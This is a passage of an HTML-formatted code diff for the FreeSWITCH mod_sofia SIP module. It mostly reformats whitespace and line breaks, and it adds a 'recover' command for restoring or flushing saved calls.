</span><span class="cx">                         if (strcmp(vvar, profile-&gt;name)) {
</span><span class="cx">                                 ac++;
</span><del>-                                stream-&gt;write_function(stream, &quot;&lt;alias&gt;\n&lt;name&gt;%s&lt;/name&gt;\n&lt;type&gt;%s&lt;/type&gt;\n&lt;data&gt;%s&lt;/data&gt;\n&lt;state&gt;%s&lt;/state&gt;\n&lt;/alias&gt;\n&quot;, vvar, &quot;alias&quot;, profile-&gt;name, &quot;ALIASED&quot;);
</del><ins>+                                stream-&gt;write_function(stream, &quot;&lt;alias&gt;\n&lt;name&gt;%s&lt;/name&gt;\n&lt;type&gt;%s&lt;/type&gt;\n&lt;data&gt;%s&lt;/data&gt;\n&lt;state&gt;%s&lt;/state&gt;\n&lt;/alias&gt;\n&quot;, vvar, &quot;alias&quot;,
+                                                                           profile-&gt;name, &quot;ALIASED&quot;);
</ins><span class="cx">                         } else {
</span><del>-                                stream-&gt;write_function(stream, &quot;&lt;profile&gt;\n&lt;name&gt;%s&lt;/name&gt;\n&lt;type&gt;%s&lt;/type&gt;\n&lt;data&gt;%s&lt;/data&gt;\n&lt;state&gt;%s (%u)&lt;/state&gt;\n&lt;/profile&gt;\n&quot;, profile-&gt;name, &quot;profile&quot;, profile-&gt;url,
-                                                                           sofia_test_pflag(profile, PFLAG_RUNNING) ? &quot;RUNNING&quot; : &quot;DOWN&quot;, profile-&gt;inuse);
</del><ins>+                                stream-&gt;write_function(stream, &quot;&lt;profile&gt;\n&lt;name&gt;%s&lt;/name&gt;\n&lt;type&gt;%s&lt;/type&gt;\n&lt;data&gt;%s&lt;/data&gt;\n&lt;state&gt;%s (%u)&lt;/state&gt;\n&lt;/profile&gt;\n&quot;,
+                                                                           profile-&gt;name, &quot;profile&quot;, profile-&gt;url, sofia_test_pflag(profile, PFLAG_RUNNING) ? &quot;RUNNING&quot; : &quot;DOWN&quot;,
+                                                                           profile-&gt;inuse);
</ins><span class="cx"> 
</span><span class="cx">                                 if (sofia_test_pflag(profile, PFLAG_TLS)) {
</span><del>-                                        stream-&gt;write_function(stream, &quot;&lt;profile&gt;\n&lt;name&gt;%s&lt;/name&gt;\n&lt;type&gt;%s&lt;/type&gt;\n&lt;data&gt;%s&lt;/data&gt;\n&lt;state&gt;%s (%u) (TLS)&lt;/state&gt;\n&lt;/profile&gt;\n&quot;, profile-&gt;name, &quot;profile&quot;, profile-&gt;tls_url,
-                                                                                   sofia_test_pflag(profile, PFLAG_RUNNING) ? &quot;RUNNING&quot; : &quot;DOWN&quot;, profile-&gt;inuse);
</del><ins>+                                        stream-&gt;write_function(stream,
+                                                                                   &quot;&lt;profile&gt;\n&lt;name&gt;%s&lt;/name&gt;\n&lt;type&gt;%s&lt;/type&gt;\n&lt;data&gt;%s&lt;/data&gt;\n&lt;state&gt;%s (%u) (TLS)&lt;/state&gt;\n&lt;/profile&gt;\n&quot;,
+                                                                                   profile-&gt;name, &quot;profile&quot;, profile-&gt;tls_url, sofia_test_pflag(profile, PFLAG_RUNNING) ? &quot;RUNNING&quot; : &quot;DOWN&quot;,
+                                                                                   profile-&gt;inuse);
</ins><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 c++;
</span><span class="cx"> 
</span><span class="cx">                                 for (gp = profile-&gt;gateways; gp; gp = gp-&gt;next) {
</span><span class="cx">                                         switch_assert(gp-&gt;state &lt; REG_STATE_LAST);
</span><del>-                                        stream-&gt;write_function(stream, &quot;&lt;gateway&gt;\n&lt;name&gt;%s&lt;/name&gt;\n&lt;type&gt;%s&lt;/type&gt;\n&lt;data&gt;%s&lt;/data&gt;\n&lt;state&gt;%s&lt;/state&gt;\n&lt;/gateway&gt;\n&quot;, gp-&gt;name, &quot;gateway&quot;, gp-&gt;register_to, sofia_state_names[gp-&gt;state]);
</del><ins>+                                        stream-&gt;write_function(stream, &quot;&lt;gateway&gt;\n&lt;name&gt;%s&lt;/name&gt;\n&lt;type&gt;%s&lt;/type&gt;\n&lt;data&gt;%s&lt;/data&gt;\n&lt;state&gt;%s&lt;/state&gt;\n&lt;/gateway&gt;\n&quot;,
+                                                                                   gp-&gt;name, &quot;gateway&quot;, gp-&gt;register_to, sofia_state_names[gp-&gt;state]);
</ins><span class="cx">                                         if (gp-&gt;state == REG_STATE_FAILED || gp-&gt;state == REG_STATE_TRYING) {
</span><span class="cx">                                                 time_t now = switch_epoch_time_now(NULL);
</span><span class="cx">                                                 if (gp-&gt;retry &gt; now) {
</span><span class="lines">@@ -2547,7 +2581,7 @@
</span><span class="cx">                 sofia_glue_restart_all_profiles();
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(profile_name) || !(profile = sofia_glue_find_profile(profile_name))) {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;Invalid Profile [%s]&quot;, switch_str_nil(profile_name));
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -2560,7 +2594,7 @@
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                if ((gateway_ptr = sofia_reg_find_gateway(argv[2]))) {                         
</del><ins>+                if ((gateway_ptr = sofia_reg_find_gateway(argv[2]))) {
</ins><span class="cx">                         sofia_glue_del_gateway(gateway_ptr);
</span><span class="cx">                         sofia_reg_release_gateway(gateway_ptr);
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;+OK gateway marked for deletion.\n&quot;);
</span><span class="lines">@@ -2582,7 +2616,7 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;+OK stun-auto-disable=%s&quot;, sofia_test_pflag(profile, PFLAG_STUN_AUTO_DISABLE) ? &quot;true&quot; : &quot;false&quot;);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -2597,7 +2631,7 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;+OK stun-enabled=%s&quot;, sofia_test_pflag(profile, PFLAG_STUN_ENABLED) ? &quot;true&quot; : &quot;false&quot;);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -2610,7 +2644,7 @@
</span><span class="cx">                         }
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;Reload XML [%s]\n&quot;, err);
</span><span class="cx">                 }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 if (reconfig_sofia(profile) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;+OK scan complete\n&quot;);
</span><span class="cx">                 } else {
</span><span class="lines">@@ -2724,7 +2758,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(argv[1], &quot;siptrace&quot;)) {
</span><span class="cx">                 if (argc &gt; 2) {
</span><span class="cx">                         int value = switch_true(argv[2]);
</span><span class="lines">@@ -2751,7 +2785,7 @@
</span><span class="cx">         struct cb_helper *cb = (struct cb_helper *) pArg;
</span><span class="cx">         char *contact;
</span><span class="cx"> 
</span><del>-        if (!zstr(argv[0]) &amp;&amp; (contact = sofia_glue_get_url_from_contact(argv[0], 1)) ) {
</del><ins>+        if (!zstr(argv[0]) &amp;&amp; (contact = sofia_glue_get_url_from_contact(argv[0], 1))) {
</ins><span class="cx">                 cb-&gt;stream-&gt;write_function(cb-&gt;stream, &quot;%ssofia/%s/sip:%s,&quot;, argv[2], argv[1], sofia_glue_strip_proto(contact));
</span><span class="cx">                 free(contact);
</span><span class="cx">         }
</span><span class="lines">@@ -2770,7 +2804,7 @@
</span><span class="cx">         sofia_profile_t *profile = NULL;
</span><span class="cx">         const char *exclude_contact = NULL;
</span><span class="cx">         char *reply = &quot;error/facility_not_subscribed&quot;;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!cmd) {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;%s&quot;, &quot;&quot;);
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -2795,13 +2829,12 @@
</span><span class="cx"> 
</span><span class="cx">         if ((domain = strchr(user, '@'))) {
</span><span class="cx">                 *domain++ = '\0';
</span><del>-                if ( (concat = strchr( domain, '/')) ) {
-                    *concat++ = '\0';
</del><ins>+                if ((concat = strchr(domain, '/'))) {
+                        *concat++ = '\0';
</ins><span class="cx">                 }
</span><del>-        }
-        else {
-                if ( (concat = strchr( user, '/')) ) {
-                    *concat++ = '\0';
</del><ins>+        } else {
+                if ((concat = strchr(user, '/'))) {
+                        *concat++ = '\0';
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -2837,12 +2870,11 @@
</span><span class="cx">                         if (exclude_contact) {
</span><span class="cx">                                 sql = switch_mprintf(&quot;select contact, profile_name, '%q' &quot;
</span><span class="cx">                                                                          &quot;from sip_registrations where sip_user='%q' and (sip_host='%q' or presence_hosts like '%%%q%%') &quot;
</span><del>-                                                                         &quot;and contact not like '%%%s%%'&quot;,
-                                                                         ( concat != NULL ) ? concat : &quot;&quot;, user, domain, domain, exclude_contact);
</del><ins>+                                                                         &quot;and contact not like '%%%s%%'&quot;, (concat != NULL) ? concat : &quot;&quot;, user, domain, domain, exclude_contact);
</ins><span class="cx">                         } else {
</span><span class="cx">                                 sql = switch_mprintf(&quot;select contact, profile_name, '%q' &quot;
</span><del>-                                                                         &quot;from sip_registrations where sip_user='%q' and (sip_host='%q' or presence_hosts like '%%%q%%')&quot;, 
-                                                                         ( concat != NULL ) ? concat : &quot;&quot;, user, domain, domain);
</del><ins>+                                                                         &quot;from sip_registrations where sip_user='%q' and (sip_host='%q' or presence_hosts like '%%%q%%')&quot;,
+                                                                         (concat != NULL) ? concat : &quot;&quot;, user, domain, domain);
</ins><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         switch_assert(sql);
</span><span class="lines">@@ -2859,7 +2891,7 @@
</span><span class="cx"> 
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;%s&quot;, reply);
</span><span class="cx">                         reply = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_safe_free(mystream.data);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -2886,7 +2918,7 @@
</span><span class="cx">         sofia_gateway_t *gateway;
</span><span class="cx">         char *gwname, *param, *varname;
</span><span class="cx">         const char *val = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;-ERR Parameter missing\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -2894,27 +2926,27 @@
</span><span class="cx">         if (!(mydata = strdup(cmd))) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])))) || !argv[0]) {
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         gwname = argv[0];
</span><span class="cx">         param = argv[1];
</span><span class="cx">         varname = argv[2];
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(gwname) || zstr(param) || zstr(varname)) {
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(gateway = sofia_reg_find_gateway(gwname))) {
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(param, &quot;ivar&quot;) &amp;&amp; gateway-&gt;ib_vars &amp;&amp; (val = switch_event_get_header(gateway-&gt;ib_vars, varname))) {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;%s&quot;, val);
</span><span class="cx">         } else if (!strcasecmp(param, &quot;ovar&quot;) &amp;&amp; gateway-&gt;ob_vars &amp;&amp; (val = switch_event_get_header(gateway-&gt;ob_vars, varname))) {
</span><del>-                stream-&gt;write_function(stream, &quot;%s&quot;, val);                
</del><ins>+                stream-&gt;write_function(stream, &quot;%s&quot;, val);
</ins><span class="cx">         } else if (!strcasecmp(param, &quot;var&quot;)) {
</span><span class="cx">                 if (gateway-&gt;ib_vars &amp;&amp; (val = switch_event_get_header(gateway-&gt;ib_vars, varname))) {
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;%s&quot;, val);
</span><span class="lines">@@ -2922,10 +2954,10 @@
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;%s&quot;, val);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         sofia_reg_release_gateway(gateway);
</span><del>-        
-end:
</del><ins>+
+  end:
</ins><span class="cx">         switch_safe_free(mydata);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -2977,7 +3009,7 @@
</span><span class="cx">                         mod_sofia_globals.tracelevel = switch_log_str2level(argv[1]);
</span><span class="cx">                 }
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;+OK tracelevel is %s&quot;, switch_log_level2str(mod_sofia_globals.tracelevel));
</span><del>-        goto done;
</del><ins>+                goto done;
</ins><span class="cx">         } else if (!strcasecmp(argv[0], &quot;loglevel&quot;)) {
</span><span class="cx">                 if (argc &gt; 2 &amp;&amp; argv[2] &amp;&amp; switch_is_number(argv[2])) {
</span><span class="cx">                         int level = atoi(argv[2]);
</span><span class="lines">@@ -3000,6 +3032,20 @@
</span><span class="cx">         } else if (!strcasecmp(argv[0], &quot;help&quot;)) {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;%s&quot;, usage_string);
</span><span class="cx">                 goto done;
</span><ins>+        } else if (!strcasecmp(argv[0], &quot;recover&quot;)) {
+                if (argv[1] &amp;&amp; !strcasecmp(argv[1], &quot;flush&quot;)) {
+                        sofia_glue_recover(SWITCH_TRUE);
+                        stream-&gt;write_function(stream, &quot;Flushing recovery database.\n&quot;);
+                } else {
+                        int x = sofia_glue_recover(SWITCH_FALSE);
+                        if (x) {
+                                stream-&gt;write_function(stream, &quot;Recovered %d call(s)\n&quot;, x);
+                        } else {
+                                stream-&gt;write_function(stream, &quot;No calls to recover.\n&quot;);
+                        }
+                }
+
+                goto done;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (func) {
</span><span class="lines">@@ -3036,9 +3082,9 @@
</span><span class="cx">         /*.on_consume_media */ NULL,
</span><span class="cx">         /*.on_hibernate */ sofia_on_hibernate,
</span><span class="cx">         /*.on_reset */ sofia_on_reset,
</span><del>-        /*.on_park*/ NULL,
-        /*.on_reporting*/ NULL,
-        /*.on_destroy*/ sofia_on_destroy
</del><ins>+        /*.on_park */ NULL,
+        /*.on_reporting */ NULL,
+        /*.on_destroy */ sofia_on_destroy
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t sofia_manage(char *relative_oid, switch_management_action_t action, char *data, switch_size_t datalen)
</span><span class="lines">@@ -3052,7 +3098,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_call_cause_t cause = SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
</span><span class="cx">         switch_core_session_t *nsession = NULL;
</span><del>-        char *data, *profile_name, *dest;//, *dest_num = NULL;
</del><ins>+        char *data, *profile_name, *dest;        //, *dest_num = NULL;
</ins><span class="cx">         sofia_profile_t *profile = NULL;
</span><span class="cx">         switch_caller_profile_t *caller_profile = NULL;
</span><span class="cx">         private_object_t *tech_pvt = NULL;
</span><span class="lines">@@ -3060,7 +3106,7 @@
</span><span class="cx">         char *host = NULL, *dest_to = NULL;
</span><span class="cx">         const char *hval = NULL;
</span><span class="cx">         char *not_const = NULL;
</span><del>-                
</del><ins>+
</ins><span class="cx">         *new_session = NULL;
</span><span class="cx"> 
</span><span class="cx">         if (!outbound_profile || zstr(outbound_profile-&gt;destination_number)) {
</span><span class="lines">@@ -3175,7 +3221,7 @@
</span><span class="cx">                 if ((host = switch_core_session_strdup(nsession, tech_pvt-&gt;dest))) {
</span><span class="cx">                         char *pp = strchr(host, '@');
</span><span class="cx">                         if (pp) {
</span><del>-                                host = pp+1;
</del><ins>+                                host = pp + 1;
</ins><span class="cx">                         } else {
</span><span class="cx">                                 host = NULL;
</span><span class="cx">                                 dest_to = NULL;
</span><span class="lines">@@ -3187,9 +3233,9 @@
</span><span class="cx">                 } else {
</span><span class="cx">                         tech_pvt-&gt;invite_contact = switch_core_session_strdup(nsession, gateway_ptr-&gt;register_contact);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 gateway_ptr-&gt;ob_calls++;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!zstr(gateway_ptr-&gt;from_domain) &amp;&amp; !switch_channel_get_variable(nchannel, &quot;sip_invite_domain&quot;)) {
</span><span class="cx">                         switch_channel_set_variable(nchannel, &quot;sip_invite_domain&quot;, gateway_ptr-&gt;from_domain);
</span><span class="cx">                 }
</span><span class="lines">@@ -3197,10 +3243,10 @@
</span><span class="cx">                 if (!zstr(gateway_ptr-&gt;outbound_sticky_proxy) &amp;&amp; !switch_channel_get_variable(nchannel, &quot;sip_route_uri&quot;)) {
</span><span class="cx">                         switch_channel_set_variable(nchannel, &quot;sip_route_uri&quot;, gateway_ptr-&gt;outbound_sticky_proxy);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (gateway_ptr-&gt;ob_vars) {
</span><span class="cx">                         switch_event_header_t *hp;
</span><del>-                        for(hp = gateway_ptr-&gt;ob_vars-&gt;headers; hp; hp = hp-&gt;next) {
</del><ins>+                        for (hp = gateway_ptr-&gt;ob_vars-&gt;headers; hp; hp = hp-&gt;next) {
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s setting variable [%s]=[%s]\n&quot;,
</span><span class="cx">                                                                   switch_channel_get_name(nchannel), hp-&gt;name, hp-&gt;value);
</span><span class="cx">                                 switch_channel_set_variable(nchannel, hp-&gt;name, hp-&gt;value);
</span><span class="lines">@@ -3288,29 +3334,28 @@
</span><span class="cx">         dest_num = switch_core_session_strdup(nsession, dest);
</span><span class="cx">         if ((p = strchr(dest_num, '@'))) {
</span><span class="cx">                 *p = '\0';
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((p = strrchr(dest_num, '/'))) {
</span><span class="cx">                         dest_num = p + 1;
</span><del>-                } else if ((p = (char *)switch_stristr(&quot;sip:&quot;, dest_num))) {
</del><ins>+                } else if ((p = (char *) switch_stristr(&quot;sip:&quot;, dest_num))) {
</ins><span class="cx">                         dest_num = p + 4;
</span><del>-                } else if ((p = (char *)switch_stristr(&quot;sips:&quot;, dest_num))) {
</del><ins>+                } else if ((p = (char *) switch_stristr(&quot;sips:&quot;, dest_num))) {
</ins><span class="cx">                         dest_num = p + 5;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx">         caller_profile = switch_caller_profile_clone(nsession, outbound_profile);
</span><del>-        
-        
</del><ins>+
+
</ins><span class="cx">         caller_profile-&gt;destination_number = switch_sanitize_number(caller_profile-&gt;destination_number);
</span><del>-        not_const = (char *)caller_profile-&gt;caller_id_name;
</del><ins>+        not_const = (char *) caller_profile-&gt;caller_id_name;
</ins><span class="cx">         caller_profile-&gt;caller_id_name = switch_sanitize_number(not_const);
</span><del>-        not_const = (char *)caller_profile-&gt;caller_id_number;
</del><ins>+        not_const = (char *) caller_profile-&gt;caller_id_number;
</ins><span class="cx">         caller_profile-&gt;caller_id_number = switch_sanitize_number(not_const);
</span><del>-        
</del><ins>+
</ins><span class="cx">         //caller_profile-&gt;destination_number = switch_core_strdup(caller_profile-&gt;pool, dest_num);
</span><span class="cx">         switch_channel_set_caller_profile(nchannel, caller_profile);
</span><del>-        switch_channel_set_flag(nchannel, CF_OUTBOUND);
</del><span class="cx">         sofia_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
</span><span class="cx">         sofia_clear_flag_locked(tech_pvt, TFLAG_LATE_NEGOTIATION);
</span><span class="cx">         if (switch_channel_get_state(nchannel) == CS_NEW) {
</span><span class="lines">@@ -3333,12 +3378,12 @@
</span><span class="cx">                 switch_channel_set_variable(nchannel, &quot;sip_invite_params&quot;, &quot;intercom=true&quot;);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (((hval = switch_event_get_header(var_event, &quot;effective_callee_id_name&quot;)) || 
</del><ins>+        if (((hval = switch_event_get_header(var_event, &quot;effective_callee_id_name&quot;)) ||
</ins><span class="cx">                  (hval = switch_event_get_header(var_event, &quot;sip_callee_id_name&quot;))) &amp;&amp; !zstr(hval)) {
</span><span class="cx">                 caller_profile-&gt;callee_id_name = switch_core_strdup(caller_profile-&gt;pool, hval);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (((hval = switch_event_get_header(var_event, &quot;effective_callee_id_number&quot;)) || 
</del><ins>+        if (((hval = switch_event_get_header(var_event, &quot;effective_callee_id_number&quot;)) ||
</ins><span class="cx">                  (hval = switch_event_get_header(var_event, &quot;sip_callee_id_number&quot;))) &amp;&amp; !zstr(hval)) {
</span><span class="cx">                 caller_profile-&gt;callee_id_number = switch_core_strdup(caller_profile-&gt;pool, hval);
</span><span class="cx">         }
</span><span class="lines">@@ -3351,17 +3396,17 @@
</span><span class="cx">                         switch_channel_set_variable_printf(nchannel, &quot;sip_h_Call-Info&quot;, &quot;&lt;sip:%s&gt;;answer-after=0&quot;, profile-&gt;sipip);
</span><span class="cx">                         switch_channel_set_variable(nchannel, &quot;sip_invite_params&quot;, &quot;intercom=true&quot;);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_ivr_transfer_variable(session, nsession, SOFIA_REPLACES_HEADER);
</span><span class="cx">                 switch_ivr_transfer_variable(session, nsession, &quot;sip_auto_answer&quot;);
</span><span class="cx">                 if (!(vval = switch_channel_get_variable(o_channel, &quot;sip_copy_custom_headers&quot;)) || switch_true(vval)) {
</span><del>-                        switch_ivr_transfer_variable(session, nsession, SOFIA_SIP_HEADER_PREFIX_T);                        
</del><ins>+                        switch_ivr_transfer_variable(session, nsession, SOFIA_SIP_HEADER_PREFIX_T);
</ins><span class="cx">                 }
</span><span class="cx">                 switch_ivr_transfer_variable(session, nsession, &quot;sip_video_fmtp&quot;);
</span><span class="cx">                 switch_ivr_transfer_variable(session, nsession, &quot;sip-force-contact&quot;);
</span><span class="cx">                 switch_ivr_transfer_variable(session, nsession, &quot;sip_sticky_contact&quot;);
</span><span class="cx">                 switch_ivr_transfer_variable(session, nsession, &quot;sip_cid_type&quot;);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_core_session_compare(session, nsession)) {
</span><span class="cx">                         /* It's another sofia channel! so lets cache what they use as a pt for telephone event so 
</span><span class="cx">                            we can keep it the same
</span><span class="lines">@@ -3372,7 +3417,7 @@
</span><span class="cx">                         tech_pvt-&gt;bte = ctech_pvt-&gt;te;
</span><span class="cx">                         tech_pvt-&gt;bcng_pt = ctech_pvt-&gt;cng_pt;
</span><span class="cx">                         tech_pvt-&gt;cid_type = ctech_pvt-&gt;cid_type;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (sofia_test_flag(tech_pvt, TFLAG_ENABLE_SOA)) {
</span><span class="cx">                                 sofia_set_flag(ctech_pvt, TFLAG_ENABLE_SOA);
</span><span class="cx">                         } else {
</span><span class="lines">@@ -3429,47 +3474,36 @@
</span><span class="cx">         char *es = argv[5];
</span><span class="cx">         char *body = argv[6];
</span><span class="cx">         char *id = NULL;
</span><del>-        char *p , *contact;
</del><ins>+        char *p, *contact;
</ins><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (profile_name &amp;&amp; strcasecmp(profile_name, profile-&gt;name)) {
</span><del>-        if ((ext_profile = sofia_glue_find_profile(profile_name))) {
-            profile = ext_profile;
-        }
-    }
</del><ins>+                if ((ext_profile = sofia_glue_find_profile(profile_name))) {
+                        profile = ext_profile;
+                }
+        }
</ins><span class="cx"> 
</span><span class="cx">         id = switch_mprintf(&quot;sip:%s@%s&quot;, user, host);
</span><span class="cx">         switch_assert(id);
</span><span class="cx">         contact = sofia_glue_get_url_from_contact(contact_in, 1);
</span><del>-                                
</del><ins>+
</ins><span class="cx">         if ((p = strstr(contact, &quot;;fs_&quot;))) {
</span><span class="cx">                 *p = '\0';
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        nh = nua_handle(profile-&gt;nua, 
-                                        NULL, 
-                                        NUTAG_URL(contact), 
-                                        SIPTAG_FROM_STR(id), 
-                                        SIPTAG_TO_STR(id), 
-                                        SIPTAG_CONTACT_STR(profile-&gt;url), 
-                                        TAG_END());
-                                
</del><ins>+        nh = nua_handle(profile-&gt;nua, NULL, NUTAG_URL(contact), SIPTAG_FROM_STR(id), SIPTAG_TO_STR(id), SIPTAG_CONTACT_STR(profile-&gt;url), TAG_END());
+
</ins><span class="cx">         nua_handle_bind(nh, &amp;mod_sofia_globals.destroy_private);
</span><span class="cx"> 
</span><del>-        nua_notify(nh,
-                           NUTAG_NEWSUB(1),
-                           SIPTAG_EVENT_STR(es), 
-                           SIPTAG_CONTENT_TYPE_STR(ct), 
-                           TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)),
-                           TAG_END());
</del><ins>+        nua_notify(nh, NUTAG_NEWSUB(1), SIPTAG_EVENT_STR(es), SIPTAG_CONTENT_TYPE_STR(ct), TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)), TAG_END());
</ins><span class="cx"> 
</span><del>-                                
</del><ins>+
</ins><span class="cx">         free(id);
</span><span class="cx">         free(contact);
</span><span class="cx"> 
</span><span class="cx">         if (ext_profile) {
</span><span class="cx">                 sofia_glue_release_profile(ext_profile);
</span><del>-        }        
</del><ins>+        }
</ins><span class="cx"> 
</span><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="lines">@@ -3493,17 +3527,17 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">                         if (to_uri || from_uri) {
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!to_uri) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Missing To-URI header\n&quot;);
</span><span class="cx">                                         return;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!from_uri) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Missing From-URI header\n&quot;);
</span><span class="cx">                                         return;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!es) {
</span><span class="cx">                                         es = &quot;message-summary&quot;;
</span><span class="cx">                                 }
</span><span class="lines">@@ -3515,32 +3549,29 @@
</span><span class="cx">                                 if (!profile_name) {
</span><span class="cx">                                         profile_name = &quot;default&quot;;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!(profile = sofia_glue_find_profile(profile_name))) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Can't find profile %s\n&quot;, profile_name);
</span><span class="cx">                                         return;
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (to_uri &amp;&amp; from_uri &amp;&amp; ct &amp;&amp; es &amp;&amp; profile_name &amp;&amp; (profile = sofia_glue_find_profile(profile_name))) {
</span><del>-                                        nua_handle_t *nh = nua_handle(profile-&gt;nua, 
-                                                                                                  NULL, 
-                                                                                                  NUTAG_URL(to_uri), 
-                                                                                                  SIPTAG_FROM_STR(from_uri), 
-                                                                                                  SIPTAG_TO_STR(to_uri), 
-                                                                                                  SIPTAG_CONTACT_STR(profile-&gt;url), 
</del><ins>+                                        nua_handle_t *nh = nua_handle(profile-&gt;nua,
+                                                                                                  NULL,
+                                                                                                  NUTAG_URL(to_uri),
+                                                                                                  SIPTAG_FROM_STR(from_uri),
+                                                                                                  SIPTAG_TO_STR(to_uri),
+                                                                                                  SIPTAG_CONTACT_STR(profile-&gt;url),
</ins><span class="cx">                                                                                                   TAG_END());
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                         nua_handle_bind(nh, &amp;mod_sofia_globals.destroy_private);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                         nua_notify(nh,
</span><span class="cx">                                                            NUTAG_NEWSUB(1),
</span><span class="cx">                                                            NUTAG_WITH_THIS(profile-&gt;nua),
</span><del>-                                                           SIPTAG_EVENT_STR(es), 
-                                                           TAG_IF(ct, SIPTAG_CONTENT_TYPE_STR(ct)),
-                                                           TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)),
-                                                           TAG_END());
-                                
</del><ins>+                                                           SIPTAG_EVENT_STR(es), TAG_IF(ct, SIPTAG_CONTENT_TYPE_STR(ct)), TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)), TAG_END());
+
</ins><span class="cx">                                         sofia_glue_release_profile(profile);
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="lines">@@ -3555,10 +3586,7 @@
</span><span class="cx">                                         if ((tech_pvt = switch_core_session_get_private(session))) {
</span><span class="cx">                                                 nua_notify(tech_pvt-&gt;nh,
